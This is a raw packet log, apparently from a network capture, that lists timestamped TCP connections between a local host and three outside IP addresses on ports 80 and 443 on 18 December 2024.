Dec 18, 2024 11:09:31.786735058 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.786735058 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.786909103 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.787409067 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.787445068 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.787445068 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.787484884 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.788440943 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.788455963 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.788516998 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.788557053 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.788557053 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.789463043 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.790488005 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.798122883 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.798193932 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.798203945 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.798296928 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.798332930 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.798332930 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.798347950 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.798427105 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.799299002 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.799362898 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.799397945 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.799398899 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.800246954 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.800286055 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.800348997 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.800554037 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.801470041 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.801516056 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.801630974 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.802457094 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.802486897 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.802498102 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.802525043 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.802525043 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.803214073 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.803252935 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.803307056 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.804181099 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.804218054 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.804219007 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.804337978 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.805200100 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.805237055 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.805237055 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.805285931 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.805500984 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.806154966 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.806226015 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.806261063 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.806261063 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.807125092 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.807229996 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.807265997 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.807265997 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.808121920 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.808316946 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.808353901 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.808353901 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.809112072 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.809230089 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.809264898 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.809264898 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.810128927 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.810261965 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.810297966 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.810297966 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.811228037 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.811352968 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.811389923 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.811389923 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.812028885 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.812066078 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.812096119 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.812096119 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.813007116 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.813101053 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.813137054 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.813137054 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.814048052 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.814152002 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.814188004 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.814188004 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.815007925 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.815046072 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.815071106 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.815104961 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.815985918 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.816117048 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.816150904 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.816150904 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.816948891 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.817038059 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.817074060 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.817074060 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.817925930 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.817964077 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.818108082 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.818938017 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.818974972 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.818974972 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.819037914 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.820138931 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.820177078 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.820177078 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.820242882 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.820899010 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.820936918 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.820936918 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.821012020 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.821994066 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.822032928 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.822032928 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.822132111 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.823360920 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.823374987 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.823396921 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.823396921 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.823482037 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.823905945 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.823941946 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.823971987 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.824871063 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.824907064 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.824907064 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.824948072 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.825826883 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.825864077 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.825864077 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.825920105 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.826494932 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.826822996 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.826863050 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.826906919 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.827804089 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.827841997 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.827841997 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.827897072 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.828769922 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.828808069 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.828808069 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.828840017 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.829507113 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.829744101 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.829783916 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.829830885 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.830806971 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.830842972 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.830842972 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.831082106 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.831680059 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.831716061 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.831716061 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.831779957 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.832676888 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.832714081 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.832714081 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.832776070 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.833678961 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.833718061 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.833718061 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.833813906 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.834691048 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.834728003 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.834728003 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.834849119 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.835484982 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.835635900 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.835805893 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.835841894 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.835841894 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.968518972 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.968534946 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.968648911 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.968671083 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.968713045 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.968926907 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.968966961 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.969624043 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.969666004 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.969667912 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.969700098 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.970446110 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.970487118 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.970554113 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.970617056 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.971419096 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.971467972 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.971534967 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.972296000 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.972373009 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.972409964 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.972477913 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.972521067 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.973366976 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.973403931 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.973488092 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.973522902 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.974370956 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.974513054 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.974528074 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.974548101 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.975349903 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.975433111 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.975449085 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.975492954 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.976339102 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.976385117 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.976424932 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.976706028 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.977350950 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.977416039 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.977547884 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.977547884 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.978286028 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.978324890 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.978399038 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.978640079 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.979252100 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.979295969 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.979366064 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.979408979 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.980226994 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.980272055 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.989017963 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.989129066 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.989145994 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.989320993 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.989518881 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.989567041 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.989651918 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.989698887 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.990545988 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.990680933 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.990765095 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.990894079 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.991502047 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.991601944 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.991637945 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.991856098 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.992563009 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.992643118 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.992683887 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.992741108 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.993485928 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.993568897 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.993582964 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.994463921 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.994518042 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.994591951 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.995507002 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.995563030 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.995702982 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.995857954 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.996572971 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.996666908 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.996715069 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.997366905 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.997520924 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.997545004 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.998357058 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.998416901 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.998912096 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.999779940 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.999840021 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:31.999846935 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:31.999880075 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:32.000571966 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:32.000664949 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:32.000710964 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:32.001295090 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:32.001414061 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:32.002299070 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:32.002336979 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:32.002336979 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:32.002412081 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:32.003353119 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:32.003424883 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:32.003484964 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:32.004203081 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:32.004221916 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:32.009496927 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:34.348100901 CET	49907	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:34.348589897 CET	49940	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:34.468190908 CET	80	49940	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:34.468216896 CET	80	49907	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:34.468283892 CET	49940	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:34.468310118 CET	49907	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:34.521713972 CET	49940	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:34.641375065 CET	80	49940	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:37.782728910 CET	80	49940	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:37.782804966 CET	49940	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:39.409645081 CET	49940	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:39.409919977 CET	49953	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:39.529558897 CET	80	49953	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:39.529580116 CET	80	49940	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:39.529692888 CET	49940	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:39.529714108 CET	49953	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:39.530009985 CET	49953	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:39.649461985 CET	80	49953	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:40.867819071 CET	80	49953	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:40.867888927 CET	49953	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:41.213279963 CET	443	49919	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:41.213316917 CET	443	49919	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:41.213339090 CET	443	49919	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:41.213375092 CET	443	49919	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:41.213373899 CET	49919	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:41.213398933 CET	443	49919	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:41.213413954 CET	49919	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:41.215913057 CET	443	49919	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:41.215939999 CET	443	49919	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:41.216094971 CET	49919	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:41.216109991 CET	443	49919	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:41.216226101 CET	49919	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:41.216248989 CET	443	49919	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:41.232841015 CET	443	49919	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:41.232881069 CET	443	49919	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:41.235019922 CET	49919	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:41.235045910 CET	443	49919	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:41.235537052 CET	49919	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:41.332721949 CET	443	49919	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:41.375480890 CET	49919	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:41.404126883 CET	443	49919	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:41.407939911 CET	443	49919	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:41.407959938 CET	443	49919	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:41.408004045 CET	49919	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:41.408015966 CET	443	49919	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:41.408163071 CET	443	49919	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:41.408272982 CET	49919	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:41.408437967 CET	49919	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:41.408451080 CET	443	49919	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:41.408459902 CET	49919	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:41.408467054 CET	443	49919	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:41.667395115 CET	49959	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:41.667448997 CET	443	49959	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:41.667552948 CET	49959	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:41.667901993 CET	49959	443	192.168.2.6	172.67.179.109
